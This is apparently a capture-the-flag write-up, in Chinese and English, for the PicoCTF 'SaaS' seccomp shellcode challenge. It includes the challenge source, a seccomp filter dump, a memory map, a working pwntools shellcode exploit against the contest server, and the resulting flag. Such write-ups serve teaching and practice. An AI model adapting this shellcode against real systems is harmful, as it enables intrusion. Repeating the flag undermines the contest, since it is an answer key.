PicoCTF - SaaS

PicoCTF - SaaS

Background

seccomp-tool

Source code

:::spoiler Source Code

#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

#define SIZE 0x100

// http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=xor+rax%2C+rax%0D%0Amov+rdi%2C+rsp%0D%0Aand+rdi%2C+0xfffffffffffff000%0D%0Asub+rdi%2C+0x2000%0D%0Amov+rcx%2C+0x600%0D%0Arep+stosq%0D%0Axor+rbx%2C+rbx%0D%0Axor+rcx%2C+rcx%0D%0Axor+rdx%2C+rdx%0D%0Axor+rsp%2C+rsp%0D%0Axor+rbp%2C+rbp%0D%0Axor+rsi%2C+rsi%0D%0Axor+rdi%2C+rdi%0D%0Axor+r8%2C+r8%0D%0Axor+r9%2C+r9%0D%0Axor+r10%2C+r10%0D%0Axor+r11%2C+r11%0D%0Axor+r12%2C+r12%0D%0Axor+r13%2C+r13%0D%0Axor+r14%2C+r14%0D%0Axor+r15%2C+r15%0D%0A&arch=x86-64&as_format=inline#assembly
#define HEADER "\x48\x31\xc0\x48\x89\xe7\x48\x81\xe7\x00\xf0\xff\xff\x48\x81\xef\x00\x20\x00\x00\x48\xc7\xc1\x00\x06\x00\x00\xf3\x48\xab\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xe4\x48\x31\xed\x48\x31\xf6\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"

#define FLAG_SIZE 64

char flag[FLAG_SIZE];

void load_flag() {
  int fd;
  if ((fd = open("flag.txt", O_RDONLY)) == -1)
    error(EXIT_FAILURE, errno, "open flag");
  if (read(fd, flag, FLAG_SIZE) == -1)
    error(EXIT_FAILURE, errno, "read flag");
  if (close(fd) == -1)
    error(EXIT_FAILURE, errno, "close flag");
}

void setup() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL);
  int ret = 0;
  if (ctx != NULL) {
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
      SCMP_A0(SCMP_CMP_EQ, STDOUT_FILENO));
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    ret |= seccomp_load(ctx);
  }
  seccomp_release(ctx);
  if (ctx == NULL || ret)
    error(EXIT_FAILURE, 0, "seccomp");
}

int main()
{
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  load_flag();
  puts("Welcome to Shellcode as a Service!");

  void* addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
  memcpy(addr, HEADER, sizeof(HEADER));
  read(0, addr + sizeof(HEADER) - 1, SIZE);

  setup();
  goto *addr;
}

:::

Recon

這題算簡單,很適合新手打shell code,但不知道為啥很少人解,和之前計安的某一題很像但忘記在哪邊了,也有可能是在EOF的時候打的,關於seccomp可以看這篇1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0c0d78f23470e4613121a0d3bdc1cd5e43e49b32, not stripped
$ checksec chall
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/SaaS/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ seccomp-tools dump ./chall
Welcome to Shellcode as a Service!
123
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x0000003c  if (A == exit) goto 0012
 0006: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0012
 0007: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0013
 0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0009: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0013
 0010: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0011: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
  1. 觀察source code發現有設定seccomp的保護,只開放write和exit,但在輸入之前已經先讀了flag,此時就可以直接想辦法call syswrite把東西印出來就完事了
  2. 要注意libc的版本,我的local端原本是2.31但不知道為啥變成2.35,所以又花了一點時間用VM才解出來
  3. 這一題難的地方在於一開始有一串shell code(HEADER),經過online tool2可以知道它就是把stack上和register的東西全部清空,所以如果要找到flag所在的位址就需要撈一下memory,我的做法是直接把memory dump下來,然後string search(記得是little endian),然後用offset算他和rip之間的相對位置

Exploit - seccomp-tools / syswrite

算offset是這一題最煩的地方,以我的例子來說(記憶體區段如下),flag是放在==0x000055e109602060==的地方,我執行shell code的地方是在==0x7fbb78c21000==,所以我先把0x00007f1d391e5000~0x00007f1d39215000的東西dump下來,發現在0x2e590的地方存的是==0x55e109400448==,和原本的0x000055e109602060差了一點,所以我先把後1.5bytes變成0(and operator),然後加上offset(0x202060),在依序把其他必要的register擺好就可以call function了

:::spoiler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0x000055e109400000 0x000055e109402000 0x0000000000000000 r-x /home/sbk/Downloads/SaaS/chall
0x000055e109601000 0x000055e109602000 0x0000000000001000 r-- /home/sbk/Downloads/SaaS/chall
0x000055e109602000 0x000055e109603000 0x0000000000002000 rw- /home/sbk/Downloads/SaaS/chall
0x00007fbb789cb000 0x00007fbb789ce000 0x0000000000000000 rw- 
0x00007fbb789ce000 0x00007fbb789f0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fbb789f0000 0x00007fbb78b68000 0x0000000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fbb78b68000 0x00007fbb78bb6000 0x000000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fbb78bb6000 0x00007fbb78bba000 0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fbb78bba000 0x00007fbb78bbc000 0x00000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fbb78bbc000 0x00007fbb78bc0000 0x0000000000000000 rw- 
0x00007fbb78bc0000 0x00007fbb78bc2000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78bc2000 0x00007fbb78bd1000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78bd1000 0x00007fbb78bdf000 0x0000000000011000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78bdf000 0x00007fbb78be0000 0x000000000001f000 --- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78be0000 0x00007fbb78be1000 0x000000000001f000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78be1000 0x00007fbb78be2000 0x0000000000020000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x00007fbb78be2000 0x00007fbb78be4000 0x0000000000000000 rw- 
0x00007fbb78bf5000 0x00007fbb78bf6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fbb78bf6000 0x00007fbb78c19000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fbb78c19000 0x00007fbb78c21000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fbb78c21000 0x00007fbb78c22000 0x0000000000000000 rwx 
0x00007fbb78c22000 0x00007fbb78c23000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fbb78c23000 0x00007fbb78c24000 0x000000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fbb78c24000 0x00007fbb78c25000 0x0000000000000000 rw- 
0x00007ffe014db000 0x00007ffe014fd000 0x0000000000000000 rw- [stack]
0x00007ffe0150d000 0x00007ffe01511000 0x0000000000000000 r-- [vvar]
0x00007ffe01511000 0x00007ffe01513000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

:::

from pwn import *

# r = process('./chall')
r = remote('mars.picoctf.net', 31021)
context.arch = 'amd64'
r.recvline()

# exe = ELF('./chall')

payload = asm('''
    lea rax, [rip-0x52-0x2c000+0x2e9f0]
    mov rsi, QWORD PTR [rax]
    and rsi, 0xfffffffffffff000
    add rsi, 0x202060
    mov rdi, 1
    mov rdx, 0x40
    mov rax, 1
    syscall
''')
# raw_input()
r.sendline(payload)


r.interactive()
$ python exp.py
[+] Opening connection to mars.picoctf.net on port 31021: Done
[*] Switching to interactive mode
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

Flag: picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}

Reference